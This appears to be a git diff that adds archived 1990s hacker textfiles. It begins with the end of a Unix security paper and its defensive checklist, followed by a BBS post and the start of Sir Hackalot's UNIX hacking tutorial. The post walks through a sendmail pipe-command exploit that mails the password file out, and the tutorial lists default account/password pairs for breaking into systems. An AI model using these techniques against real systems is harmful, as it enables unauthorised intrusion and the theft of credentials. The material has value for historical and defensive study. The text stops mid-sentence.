1984. + + [Hind83] Hinden, R., J. Haverty, and A. Sheltzer. ``The DARPA + Internet: Interconnecting Heterogeneous Computer Net- + works with Gateways.'' IEEE Computer Magazine, 16 (9): + 33-48, September 1983. + + [McLe87] McLellan, Vin. ``NASA Hackers: There's More to the + Story.'' Digital Review, November 23, 1987, p. 80. + + [Morr78] Morris, Robert, and Ken Thompson. ``Password Security: + A Case History.'' Communications of the ACM, 22 (11): + 594-597, November 1979. Reprinted in UNIX System + Manager's Manual, 4.3 Berkeley Software Distribution. + University of California, Berkeley. April 1986. + + [NCSC85] National Computer Security Center. Department of + Defense Trusted Computer System Evaluation Criteria, + Department of Defense Standard DOD 5200.28-STD, + December, 1985. + + [Quar86] Quarterman, J. S., and J. C. Hoskins. ``Notable Com- + puter Networks.'' Communications of the ACM, 29 (10): + 932-971, October 1986. + + [Reed84] Reeds, J. A., and P. J. Weinberger. ``File Security + and the UNIX System Crypt Command.'' AT&T Bell Labora- + tories Technical Journal, 63 (8): 1673-1683, October + 1984. + + [Risk87] Forum on Risks to the Public in Computers and Related + Systems. ACM Committee on Computers and Public Policy, + Peter G. Neumann, Moderator. Internet mailing list. + Issue 5.73, December 13, 1987. + + [Risk88] Forum on Risks to the Public in Computers and Related + Systems. ACM Committee on Computers and Public Policy, + Peter G. Neumann, Moderator. Internet mailing list. + + + + 59 + + + + + + + + + + + Issue 7.85, December 1, 1988. + + [Risk89a] Forum on Risks to the Public in Computers and Related + Systems. ACM Committee on Computers and Public Policy, + Peter G. Neumann, Moderator. Internet mailing list. + Issue 8.2, January 4, 1989. + + [Risk89b] Forum on Risks to the Public in Computers and Related + Systems. ACM Committee on Computers and Public Policy, + Peter G. Neumann, Moderator. Internet mailing list. + Issue 8.9, January 17, 1989. + + [Risk90] Forum on Risks to the Public in Computers and Related + Systems. ACM Committee on Computers and Public Policy, + Peter G. Neumann, Moderator. Internet mailing list. + Issue 9.69, February 20, 1990. + + [Ritc75] Ritchie, Dennis M. ``On the Security of UNIX.'' May + 1975. Reprinted in UNIX System Manager's Manual, 4.3 + Berkeley Software Distribution. University of Califor- + nia, Berkeley. April 1986. + + [Schu90] Schuman, Evan. ``Bid to Unhook Worm.'' UNIX Today!, + February 5, 1990, p. 1. + + [Seel88] Seeley, Donn. A Tour of the Worm. Department of Com- + puter Science, University of Utah. December 1988. + + [Spaf88] Spafford, Eugene H. The Internet Worm Program: An + Analysis. Technical Report CSD-TR-823. Department of + Computer Science, Purdue University. November 1988. + + [Stee88] Steele, Guy L. Jr., Donald R. Woods, Raphael A. Finkel, + Mark R. Crispin, Richard M. Stallman, and Geoffrey S. + Goodfellow. The Hacker's Dictionary. New York: Harper + and Row, 1988. + + [Stei88] Stein, Jennifer G., Clifford Neuman, and Jeffrey L. + Schiller. ``Kerberos: An Authentication Service for + Open Network Systems.'' USENIX Conference Proceedings, + Dallas, Texas, Winter 1988, pp. 203-211. + + [Stol88] Stoll, Clifford. ``Stalking the Wily Hacker.'' Com- + munications of the ACM, 31 (5): 484-497, May 1988. + + [Stol89] Stoll, Clifford. The Cuckoo's Egg. New York: Double- + day, 1989. + + [Sun88a] Sun Microsystems. SunOS Reference Manual, Part Number + 800-1751-10, May 1988. + + [Sun88b] Sun Microsystems. System and Network Administration, + + + + 60 + + + + + + + + + + + Part Number 800-1733-10, May 1988. + + [Sun88c] Sun Microsystems. Security Features Guide, Part Number + 800-1735-10, May 1988. + + [Sun88d] Sun Microsystems. ``Network File System: Version 2 + Protocol Specification.'' Network Programming, Part + Number 800-1779-10, May 1988, pp. 165-185. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 61 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 62 + + + + + + + + + + + APPENDIX A - SECURITY CHECKLIST + + + + This checklist summarizes the information presented in this + paper, and can be used to verify that you have implemented every- + thing described. + + + + Account Security + [] Password policy developed and distributed to all users + [] All passwords checked against obvious choices + [] Expiration dates on all accounts + [] No ``idle'' guest accounts + [] All accounts have passwords or ``*'' in the password field + [] No group accounts + [] ``+'' lines in passwd and group checked if running Yellow Pages + + Network Security + [] hosts.equiv contains only local hosts, and no ``+'' + [] No .rhosts files in users' home directories + [] Only local hosts in ``root'' .rhosts file, if any + [] Only ``console'' labeled as ``secure'' in ttytab (servers only) + [] No terminals labeled as ``secure'' in ttytab (clients only) + [] No NFS file systems exported to the world + [] ftpd version later than December, 1988 + [] No ``decode'' alias in the aliases file + [] No ``wizard'' password in sendmail.cf + [] No ``debug'' command in sendmail + [] fingerd version later than November 5, 1988 + [] Modems and terminal servers handle hangups correctly + + File System Security + [] No setuid or setgid shell scripts + [] Check all ``nonstandard'' setuid and setgid programs for security + [] Setuid bit removed from /usr/etc/restore + [] Sticky bits set on world-writable directories + [] Proper umask value on ``root'' account + [] Proper modes on devices in /dev + + Backups + [] Level 0 dumps at least monthly + [] Incremental dumps at least bi-weekly + + + + + + + + + + + + 63 + + diff --git a/textfiles.com/hacking/UNIX/sendmail.fun b/textfiles.com/hacking/UNIX/sendmail.fun new file mode 100644 index 00000000..a9b912d1 --- /dev/null +++ b/textfiles.com/hacking/UNIX/sendmail.fun @@ -0,0 +1,75 @@ +11 + +Subj: Re: passwd file (11/34) +From: Root #1 +To : Lord Balif #10 +Date: Mon, Jan 16, 1995 7:03:53 AM + +LB> root:x:0:1:0000-Admin(0000):/: + +This is an example of a "shadowed" passwd file. The file is world readable and +exists to provide user information for fingering a particular user - + +Login name: root Real name: 000-Admin(0000) +Directory: / Shell: ??? +Plan: +No Plan + +The actual encypted passwd for user 'root' is in one of two places most +likely.. either in a restricted security directory ('/etc/security/passwd') or +in a special passwd file called master.passwd ('/etc/master.passwd'). +ExchangeNET uses the latter format, for instance. + +Your job as a UNIX hacker is to somehow trick the host computer into letting +you read the restricted passwd file which contains encrypted passwds. On +obtainting this file, you would run a UNIX passwd cracker on the passwd file. + + The problem is, the unshadowed passwords are most likely in a file that most +users cannot access -- owned by user 'root' and group 'wheel' for instance, +with a file mode of 600 ('-rw------- root wheel 58472 passwd'). You will need +to use a program that your host runs that is allowed to access this file and +have it send the file to you. + +Classically, sendmail ran under root's user id (0) and could read this file. +An old bug in sendmail could be employed to execute commands as root, thus +providing a gaping vulnerability for becomming a root user to anyone who could +access sendmail. In the classic example, getting the shadowed passwd file +could be done like this: + +REPEAT BY: + +% telnet localhost 25 <-- your site's sendmail port +Trying 127.0.0.1 ... +Connected. Escape character is '^]'. +Welcome to old.smtp.version.site.com STMP sendmail version 1.0 +Ready and willing for your command, haqr sir. + +(you type) MAIL FROM: "|/bin/mail me@old.smtp.version.site.com + 225 - "nosuchuser" User unknown +DATA +230 - Enter message. '.' to end +. +235 OK +QUIT +Connection closed + +% wait +% frm +1 Mailer Daemon No subject - file transmission + +% more /var/spool/mail/me +From daemon!localhost ... +. +. +Subject: + +root:89JKHkjh\kj1:0:0:Admin:/:/bin/sh +... + +% +---- + + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/sirsunix.hac b/textfiles.com/hacking/UNIX/sirsunix.hac new file mode 100644 index 00000000..fc8736cd --- /dev/null +++ b/textfiles.com/hacking/UNIX/sirsunix.hac @@ -0,0 +1,2133 @@ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ UNIX : A Hacking Tutorial + ++ By: Sir Hackalot + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +---------------------- +o Intent of this file: +---------------------- + + This phile is geared as an UNIX tutorial at first, to let you get more +familiar with the operating system. UNIX is just an operating system, as +is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user- +multi-tasking system, thus bringing a need for security not found on MSDOS, +AppleDOS, etc. This phile will hopefully teach the beginners who do not have +a clue about how to use UNIX a good start, and may hopefully teach old pros +something they didn't know before. This file deals with UNIX SYSTEM V and +its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2). + +Where Can I be found? I have no Idea. The Boards today are going Up'n'Down +so fast, 3 days after you read this file, if I put a BBS in it where you could +reach me, it may be down! Just look for me. + +I can be reached on DarkWood Castle [If it goes back up], but that board +is hard to get access on, but I decided to mention it anyway. + +I *COULD* Have been reached on jolnet, but...... + +This file may have some bad spelling, etc, or discrepencies since it was +spread out over a long time of writing, because of school, work, Girl friend, +etc. Please, no flames. If you don't like this file, don't keep it. + +This is distributed under PHAZE Inc. Here are the members (and ex ones) +The Dark Pawn +The Data Wizard +Sir Hackalot (Me) +Taxi (ummm.. Busted) +Lancia (Busted) +The British Knight (Busted) +The Living Pharoah (Busted) + +_____________________________________________________________________________ + + +------------- +o Dedication: +------------- + This phile is dedicated to the members of LOD that were raided in +Atlanta. The members that got busted were very good hackers, especially +The Prophet. Good luck to you guys, and I hope you show up again somewhere. +_____________________________________________________________________________ + +------------------------ +o A little History, etc: +------------------------ + + UNIX, of course, was invented By AT&T in the 60's somewhere, to be +"a programmer's operating system." While that goal was probably not reached +when they first invented UNIX, it seems that now, UNIX is a programmer's OS. +UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also +written in C, or at least large parts of it are, thus making it a portable +operating system. We know that MSDOS corresponds to IBM/clone machines, +right? Well, this is not the case with UNIX. We do not associate it with +any one computer since it has been adapted for many, and there are many +UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T +computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations +run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version +of UNIX. Remember, no matter what the name of the operating system is [BSD, +UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the +commands the operating system uses. Some variants may have features others +do not, but they are basically similar in that they have a lot of the same +commands/datafiles. When someone tries to tell you that UNIX goes along with +a certain type of computer, they may be right, but remember, some computers +have more than one Operating system. For instance, one person may tell you +that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the +only reason I stated that, was because I have seen many messages with info +/comparisons in it like that, which confuse users when they see a VAX running +VMS. +____________________________________________________________________________ + + +------------------------------- +o Identifying a Unix/Logging in +------------------------------- + + From now on, I will be referring to all the UNIX variants/etc as +UNIX, so when I say something about UNIX, it generally means all the variants +(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless +I state a variant in particular. + + Okay. Now its time for me to tell you how a unix USUALLY greets you. +First, when you call up a UNIX, or connect to one however you do, you will +usually get this prompt: + +login: + +Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix, +although there are BBS's that can mimic the login procedure of an OS +(Operating System), thus making some people believe its a Unix. [Hah!]. +Some Unixes will tell you what they are or give you a message before a +login: prompt, as such: + +Welcome to SHUnix. Please log in. + +login: + + Or something like that. Public access Unixes [like Public BBSs] will +tell you how to logon if you are a new users. Unfortunatly, this phile is +not about public access Unixes, but I will talk about them briefly later, as +a UUCP/UseNet/Bitnet address for mail. + OK. You've gotten to the login prompt! Now, what you need to do +here is enter in a valid account. An Account usually consists of 8 characters +or less. After you enter in an account, you will probably get a password +prompt of some sort. The prompts may vary, as the source code to the login +program is usually supplied with UNIX, or is readily available for free. +Well, The easiest thing I can say to do to login is basically this: +Get an account, or try the defaults. The defaults are ones that came with +the operating system, in standard form. The list of some of the Defaults +are as follows: + +ACCOUNT PASSWORD +------- -------- +root root - Rarely open to hackers +sys sys / system / bin +bin sys / bin +mountfsys mountfsys +adm adm +uucp uucp +nuucp anon +anon anon +user user +games games +install install +reboot * See Below +demo demo +umountfsys umountfsys +sync sync +admin admin +guest guest +daemon daemon + +The accounts root, mountfsys, umountfsys, install, and sometimes sync are +root level accounts, meaning they have sysop power, or total power. Other +logins are just "user level" logins meaning they only have power over what +files/processes they own. I'll get into that later, in the file permissions +section. The REBOOT login is what as known as a command login, which just +simply doesn't let you into the operating system, but executes a program +assigned to it. It usually does just what it says, reboot the system. It +may not be standard on all UNIX systems, but I have seen it on UNISYS unixes +and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have +not been passworded [reboot], which is real stupid, if you ask me. + +COMMAND LOGINS: +--------------- + +There are "command logins", which, like reboot, execute a command then log +you off instead of letting you use the command interpreter. BSD is notorious +for having these, and concequently, so does MIT's computers. Here are some: + +rwho - show who is online +finger - same +who - same + +These are the most useful, since they will give the account names that are +online, thus showing you several accounts that actually exist. + + +Errors: +------- + +When you get an invalid Account name / invalid password, or both, you will +get some kind of error. Usually it is the "login incorrect" message. When +the computer tells you that, you have done something wrong by either enterring +an invalid account name, or a valid account name, but invalid password. It +does not tell you which mistake you made, for obvious reasons. Also, +when you login incorrectly, the error log on the system gets updated, letting +the sysops(s) know something is amiss. + + Another error is "Cannot change to home directory" or "Cannot Change +Directory." This means that no "home directory" which is essentially the +'root' directory for an account, which is the directory you start off in. +On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in +/homedirectory. [Note: The / is used in directories on UNIX, not a \ ]. +Most systems will log you off after this, but some tell you that they will +put you in the root directory [ '/']. + + Another error is "No Shell". This means that no "shell" was defined +for that particular account. The "shell" will be explained later. Some +systems will log you off after this message. Others will tell you that they +will use the regular shell, by saying "Using the bourne shell", or "Using sh" + +----------------------------- +Accounts In General : +----------------------------- + + This section is to hopefully describe to you the user structure +in the UNIX environment. + Ok, think of UNIX having two levels of security: absolute power, +or just a regular user. The ones that have absolute power are those users +at the root level. Ok, now is the time to think in numbers. Unix associates +numbers with account names. each account will have a number. Some will have +the same number. That number is the UID [user-id] of the account. the root +user id is 0. Any account that has a user id of 0 will have root access. +Unix does not deal with account names (logins) but rather the number +associated with them. for instance, If my user-id is 50, and someone else's +is 50, with both have absolute power of each other, but no-one else. +_____________________________________________________________________________ + +--------------- +Shells : +--------------- + + A shell is an executable program which loads and runs when a user +logs on, and is in the foreground. This "shell" can be any executable prog- +ram, and it is defined in the "passwd" file which is the userfile. Each +login can have a unique "shell". Ok. Now the shell that we usually will work +with is a command interpreter. A command interpreter is simply something +like MSDOS's COMMAND.COM, which processes commands, and sends them to the +kernel [operating system]. A shell can be anything, as I said before, +but the one you want to have is a command interpreter. Here are the +usual shells you will find: + +sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has + a "script" language, as do most of the command interpreters on Unix sys- + tems. + +csh - This is the "C" shell, which will allow you to enter "C" like commands. +ksh - this is the korn shell. Just another command interpreter. +tcsh - this is one, which is used at MIT I believe. Allows command editing. +vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS +rsh - restricted shell OR remote shell. Both Explained later. + There are many others, including "homemade " shells, which are +programs written by the owner of a unix, or for a specific unix, and they +are not standard. Remember, the shell is just the program you get to use +and when it is done executing, you get logged off. A good example of a +homemade shell is on Eskimo North, a public access Unix. The shell +is called "Esh", and it is just something like a one-key-press BBS, +but hey, its still a shell. The Number to eskimo north is 206-387-3637. +[206-For-Ever]. If you call there, send Glitch Lots of mail. + Several companies use Word Processors, databases, and other things +as a user shell, to prevent abuse, and make life easier for unskilled computer +operators. Several Medical Hospitals use this kind of shell in Georgia, +and fortunatly, these second rate programs leave major holes in Unix. +Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they +give you a choice between a command interpreter, or a BBS as a shell. +WHen you have a command interpreter, the prompt is usually a: + $ +when you are a root user the prompt is usually a: + # +The variable, PS1, can be set to hold a prompt. +For instance, if PS1 is "HI:", your prompt will be: + HI: + +_____________________________________________________________________________ + +------------------------ +SPecial Characters, ETc: +------------------------ + +Control-D : End of file. When using mail or a text editor, this will end +the message or text file. If you are in the shell and hit control-d you get +logged off. + +Control-J: On some systems, this is like the enter key. +@ : Is sometimes a "null" +? : This is a wildcard. This can represent a letter. If you specified + something at the command line like "b?b" Unix would look for bob,bib,bub, + and every other letter/number between a-z, 0-9. +* : this can represent any number of characters. If you specified a "hi*" + it would use "hit", him, hiiii, hiya, and ANYTHING that starts with + hi. "H*l" could by hill, hull, hl, and anything that starts with an + H and ends with an L. + +[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob + if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The + [], ?, and * are usually used with copy, deleting files, and directory + listings. + +EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not +the same thing. This allows for many files to be able to be stored, since +"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using +the [] stuff, you have to specify capital letters if any files you are dealing +with has capital letters. Most everything is lower case though. + +---------------- +Commands to use: +---------------- + +Now, I will rundown some of the useful commands of Unix. I will act +as if I were typing in the actual command from a prompt. + +ls - this is to get a directory. With no arguments, it will just print out + file names in either one column or multi-column output, depending on the + ls program you have access to. + + example: + $ ls + hithere + runme + note.text + src + $ + the -l switch will give you extended info on the files. + $ ls -l + rwx--x--x sirhack sirh 10990 runme + and so on.... + +the "rwx--x--x" is the file permission. [Explained Later] +the "sirhack sirh" is the owner of the file/group the file is in. +sirhack = owner, sirh = user-group the file is in [explained later] +the 10990 is the size of the file in bytes. +"runme" is the file name. +The format varies, but you should have the general idea. + +cat - this types out a file onto the screen. should be used on text files. + only use it with binary files to make a user mad [explained later] + ex: + $ cat note.txt + This is a sample text file! + $ + +cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn. + the dir1/etc.... describes the directory name. Say I want to get + to the root directory. + ex: + $ cd / + *ok, I'm there.* + $ ls + bin + sys + etc + temp + work + usr + all of the above are directories, lets say. + $ cd /usr + $ ls + sirhack + datawiz + prophet + src + violence + par + phiber + scythian + $ cd /usr/sirhack + $ ls + hithere + runme + note.text + src + $ +ok, now, you do not have to enter the full dir name. if you are in +a directory, and want to get into one that is right there [say "src"], you +can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the +sirhack dir, you can type "cd src" + +cp - this copies a file. syntax for it is "cp fromfile tofile" + $ cp runme runme2 + $ ls + hithere + runme + note.text + src + runme2 +Full pathnames can be included, as to copy it to another directory. + $ cp runme /usr/datwiz/runme + +mv - this renames a file. syntax "mv oldname newname" + $ mv runme2 runit + $ ls + hithere + runme + note.text + src + runit + files can be renamed into other directories. + $ mv runit /usr/datwiz/run + $ ls + hithere + runme + note.text + src + $ ls /usr/datwiz + runme + run + +pwd - gives current directory + $ pwd + /usr/sirhack + $ cd src + $ pwd + /usr/sirhack/src + $ cd .. + $ pwd + /usr/sirhack + [ the ".." means use the name one directory back. ] + $ cd ../datwiz + [translates to cd /usr/datwiz] + $ pwd + /usr/datwiz + $ cd $home + [goto home dir] + $ pwd + /usr/sirhack + +rm - delete a file. syntax "rm filename" or "rm -r directory name" + $ rm note.text + $ ls + hithere + runme + src + $ + +write - chat with another user. Well, "write" to another user. +syntax: "write username" + $ write scythian + scythian has been notified + Hey Scy! What up?? + Message from scythian on tty001 at 17:32 + hey! + me: So, hows life? + scy: ok, I guess. + me: gotta go finish this text file. + scy: ok + me: control-D [to exit program] + $ + +who [w,who,whodo] - print who is online + $ who + login term logontime + scythian + tty001 17:20 + phiberO + tty002 15:50 + sirhack + tty003 17:21 + datawiz - tty004 11:20 + glitch - tty666 66:60 + $ + the "who" commands may vary in the information given. a "+" means + you can "write" to their terminal, a "-" means you cannot. + +man - show a manual page entry. syntax "man command name" This is a help + program. If you wanted to know how to use... "who" you'd type + $ man who + WHO(1) xxx...... + and it would tell you. + +stty - set your terminal characteristics. You WILL have to do "man stty" + since each stty is different, it seems like. + an example would be: + $ stty -parenb + to make the data params N,8,1. A lot of Unixes operate at + e,7,1 by default. + +sz,rz - send and recieve via zmodem +rx,sx - send / recieve via xmodem +rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix. +umodem - send/recieve via umodem. + $ sz filename + ready to send... + $ rz filename + please send your file.... + ...etc.. + +ed - text editor. Usage "ed filename" to create a file that doesn't + exist, just enter in "ed filename" + some versions of ed will give you a prompt, such as "*" others will not + $ ed newtext + 0 + * a + This is line 1 + This is line 2 + [control-z] + * 1 [to see line one] + This is line 1 + * a [keep adding] + This is line 3 + [control-z] + *0a [add after line 0] + This is THE first line + [control-z] + 1,4l + This is THE first line + This is line 1 + This is line 2 + This is line 3 + * w + 71 + * q + $ + The 71 is number of bytes written. + a = append + l = list + # = print line number + w - write + l fname = load fname + s fname = save to fname + w = write to current file + q = quit +mesg - turn write permissions on or off to your terminal (allow chat) + format "mesg y" or "mesg n" +cc - the C compiler. don't worry about this one right now. +chmod - change mode of a file. Change the access in other words. + syntax: "chmod mode filename" + $ chmod a+r newtext + Now everyone can read newtext. + a = all + r = read. This will be explained further in the File System section. + +chown - change the owner of a file. + syntax: "chown owner filename" + $ chown scythian newtext + $ +chgrp - change the group [explained later] of a file. + syntax: "chgrp group file" + $ chgrp root runme + $ +finger - print out basic info on an account. Format: finger username +grep - search for patterns in a file. syntax: "grep pattern file" + $ grep 1 newtext + This is Line 1 + $ grep THE newtext + This is THE first line + $ grep "THE line 1" newtext + $ + +mail - This is a very useful utility. Obviously, you already know what it + is by its name. There are several MAIL utilities, such as ELM, MUSH + and MSH, but the basic "mail" program is called "mail". The usage + is: + "mail username@address" or + "mail username" + or + "mail" + or "mail addr1!addr2!addr3!user" + + "mail username@address" - This is used to send mail to someone on +another system, which is usually another UNIX, but some DOS machines and some +VAX machines can recieve Unix Mail. When you use "mail user@address" the +system you are on MUST have a "smart mailer" [known as smail], and must +have what we call system maps. The smart mailer will find the "adress" part +of the command and expand it into the full pathname usually. I could look +like this: mail phiber@optik + then look like this to the computer: + + mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber + +Do not worry about it, I was merely explaining the principal of the thing. +Now, if there is no smart mailer online, you'll have to know the FULL path +name of the person you wish to mail to. For Instance, I want to mail to +.. phiber. I'd do this if there were no smart mailer: + + $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber + + Hey Guy. Whats up? Well, gotta go. Nice long message huh? + [control-D] + $ +Then, when he got it, there would be about 20 lines of information, with +like a post mark from every system my message went thru, and the "from" line +would look like so: + +From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack + + Now, for local mailing, just type in "mail username" where username +is the login you want to send mail to. Then type in your message. Then +end it with a control-D. + + To read YOUR mail, just type in mail. IE: + + $ mail + + From scythian ............ + To sirhack ............ + Subject: Well.... + + Arghhh! + + ? + The dots represent omitted crap. Each Mail program makes its own headings. + That ? is a prompt. At this prompt I can type: + + d - delete + f username - forward to username + w fname - write message to a file named fname + s fname - save message with header into file + q - quit / update mail + x - quit, but don't change a thing + m username - mail to username + r - reply + [enter] - read next message + + - go forward one message + - : go back one + h - print out message headers that are in your mailbox. + +There are others, to see them, you'd usually hit '?'. + +-------- + +If you send mail to someone not on your system, you will have to wait longer +for a reply, since it is just as a letter. A "postman" has to pick it up. +The system might call out, and use UUCP to transfer mail. Usually, uucp +accounts are no good to one, unless you have uucp available to intercept mail. + +ps - process. This command allows you to see what you are actually doing +in memory. Everytime you run a program, it gets assigned a Process Id number +(PID), for accounting purposes, and so it can be tracked in memory, as +well as shut down by you, or root. usually, the first thing in a process +list given by "ps" is your shell name. Say I was logged in under sirhack, +using the shell "csh" and running "watch scythian". The watch program would +go into the background, meaning I'd still be able to do things while it was +running: + $ ps + PID TTY NAME + 122 001 ksh + 123 001 watch + $ + That is a shortened PS. That is the default listing [a brief one]. + The TTY column represents the "tty" [i/o device] that the process is being + run from. This is only useful really if you are using layers (don't worry) + or more than one person is logged in with the same account name. Now, + "ps -f" would give a full process listing on yourself, so instead of + seeing just plain ole "watch" you'd most likely see "watch scythian" + +kill - kill a process. This is used to terminate a program in memory obvio- +ously. You can only kill processes you own [ones you started], unless you +are root, or your EUID is the same as the process you want to kill. +(Will explain euid later). If you kill the shell process, you are logged +off. By the same token, if you kill someone else's shell process, they +are logged off. So, if I said "kill 122" I would be logged off. However, +kill only sends a signal to UNIX telling it to kill off a process. If +you just use the syntax "kill pid" then UNIX kills the process WHEN it feels +like it, which may be never. So, you can specify urgency! Try "kill -num pid" +Kill -9 pid is a definite kill almost instantly. So if I did this: + $ kill 122 + $ kill 123 + $ ps + PID TTY NAME + 122 001 ksh + 123 001 watch + $ kill -9 123 + [123]: killed + $ kill -9 122 + garbage + NO CARRIER + +Also, you can do "kill -1 0" to kill your shell process to log yourself off. +This is useful in scripts (explained later). + +------------------- +Shell Programmin' +------------------- + + Shell Programming is basically making a "script" file for the +standard shell, being sh, ksh, csh, or something on those lines. Its +like an MSDOS batch file, but more complex, and more Flexible. +This can be useful in one aspect of hacking. + + +First, lets get into variables. Variables obviously can be assigned +values. These values can be string values, or numberic values. + +number=1 + + That would assign 1 to the variable named "number". + +string=Hi There +or +string="Hi There" + + Both would assign "Hi there" to a variable. + + Using a variable is different though. When you wish to use a variable + you must procede it with a dollar ($) sign. These variables can + be used as arguments in programs. When I said that scripts are + like batch files, I meant it. You can enter in any name of a program + in a script file, and it will execute it. Here is a sample script. + +counter=1 +arg1="-uf" +arg2="scythian" + +ps $arg1 $arg2 + +echo $counter + + That script would translate to "ps -uf scythian" then would print + "1" after that was finished. ECHO prints something on the screen + whether it be numeric, or a string constant. + +Other Commands / Examples: + +read - reads someting into a variable. format : read variable . No dollar + sign is needed here! If I wwanted to get someone's name, I could + put: + +echo "What is your name?" +read hisname +echo Hello $hisname + + What is your name? + Sir Hackalot + Hello Sir Hackalot + + Remember, read can read numeric values also. + +trap - This can watch for someone to use the interrupt character. (Ctrl-c) + format: trap "command ; command ; command ; etc.." +Example: + trap "echo 'Noway!! You are not getting rid o me that easy' ; echo + 'You gotta see this through!'" + + Now, if I hit control-c during the script after this statement was + executed, I'd get: + Noway!! You are not getting rid of me that easy + You gotta see this through! + +exit : format :exit [num] This exists the shell [quits] with return + code of num. + +----- +CASE +----- + + Case execution is like a menu choice deal. The format of the command + or structure is : + case variable in + 1) command; + command;; + 2) command; + command; + command;; + *) command;; + esac + Each part can have any number of commands. The last command however + must have a ";;". Take this menu: + + echo "Please Choose:" + echo "(D)irectory (L)ogoff (S)hell" + read choice + case $choice in + + D) echo "Doing Directory..."; + ls -al ;; + L) echo Bye; + kill -1 0;; + S) exit;; + *) Echo "Error! Not a command";; + esac + + The esac marks the end of a case function. It must be after the + LAST command. + +Loops +----- + + Ok, loops. There are two loop functins. the for loops, and the + repeat. + + repeat looks like this: repeat something somethin1 somethin2 + this would repeat a section of your script for each "something". + say i did this: + repeat scythian sirhack prophet + + I may see "scythian" then sirhack then prophet on my screen. + + The for loop is defined as "for variable in something + do + .. + .. + done" + + an example: + for counter in 1 2 3 + do + echo $counter + done + + That would print out 1 then 2 then 3. + +Using TEST +---------- +The format: Test variable option variable + +The optios are: +-eq = +-ne <> (not equal) +-gt > +-lt < +-ge >= +-le <= + +for strings its: = for equal != for not equal. + +If the condition is true, a zero is returned. Watch: + + test 3 -eq 3 + +that would be test 3 = 3, and 0 would be returned. + +EXPR +---- + +This is for numeric functions. You cannot simply type in +echo 4 + 5 +and get an answer most of the time. you must say: +expr variable [or number] operator variable2 [or number] +the operators are: + ++ add +- subtract +* multiply +/ divide +^ - power (on some systems) + +example : expr 4 + 5 +var = expr 4 + 5 +var would hold 9. + + On some systems, expr sometimes prints out a formula. I mean, + 22+12 is not the same as 22 + 12. If you said expr 22+12 you + would see: + 22+12 + If you did expr 22 + 12 you'd see: + 34 + + +SYSTEM VARIABLES +---------------- + + These are variables used by the shell, and are usually set in the +system wide .profile [explained later]. + +HOME - location of your home directory. +PS1 - The prompt you are given. usually $ . On BSD its usually & +PATH - This is the search path for programs. When you type in a program +to be run, it is not in memory; it must be loaded off disk. Most commands +are not in Memory like MSDOS. If a program is on the search path, it may +be executed no matter where you are. If not, you must be in the directory +where the program is. A path is a set of directories basically, seperated by +":"'s. Here is a typical search path: + + :/bin:/etc:/usr/lbin:$HOME: + +When you tried to execute a program, Unix would look for it in /bin, +/etc, /usr/lbin, and your home directory, and if its not found, an error is +spewed out. It searches directories in ORDER of the path. SO if you had a +program named "sh" in your home directory, and typed in "sh", EVEN if +you were in your home dir, it would execute the one in /bin. So, you +must set your paths wisely. Public access Unixes do this for you, but systems +you may encounter may have no path set. + +TERM - This is your terminal type. UNIX has a library of functions called +"CURSES" which can take advantage of any terminal, provided the escape +codes are found. You must have your term set to something if you run +screen oriented programs. The escape codes/names of terms are found +in a file called TERMCAP. Don't worry about that. just set your term +to ansi or vt100. CURSES will let you know if it cannot manipulate your +terminal emulation. + + +------------------- +The C compiler +------------------- + + This Will be BRIEF. Why? Becuase if you want to learn C, go + buy a book. I don't have time to write another text file on + C, for it would be huge. Basically, most executables are programmed + in C. Source code files on unix are found as filename.c . + To compile one, type in "cc filename.c". Not all C programs + will compile, since they may depend on other files not there, or + are just modules. If you see a think called "makefile" you can + usually type in just "make" at the command prompt, and something + will be compiled, or be attempted to compile. When using make or + CC, it would be wise to use the background operand since + compiling sometimes takes for ever. + IE: + $ cc login.c& + [1234] + $ + (The 1234 was the process # it got identified as). + + +_____________________________________________________________________________ + +--------------- +The FILE SYSTEM +--------------- + + This is an instrumental part of UNIX. If you do not understand this +section, you'll never get the hang of hacking Unix, since a lot of Pranks +you can play, and things you can do to "raise your access" depend on it. + +First, Let's start out by talking about the directory structure. It is +basically a Hiearchy file system, meaning, it starts out at a root directory +and expands, just as MSDOS, and possibly AmigaDos. + +Here is a Directory Tree of sorts: (d) means directory + + / (root dir) + | + |--------------------| + bin (d) usr (d) + ----^-------------------- + | | | + sirhack(d) scythian (d) prophet (d) + | + src (d) + +Now, this particular system contains the following directories: +/ +/bin +/usr +/usr/sirhack +/usr/sirhack/src +/usr/scythian +/usr/prophet + +Hopefully, you understood that part, and you should. Everything spawns from +the root directory. + +o File Permissions! +------------------ + +Now, this is really the biggie. File Permissions. It is not that hard to +understand file permissions, but I will explain them deeply anyway. + +OK, now you 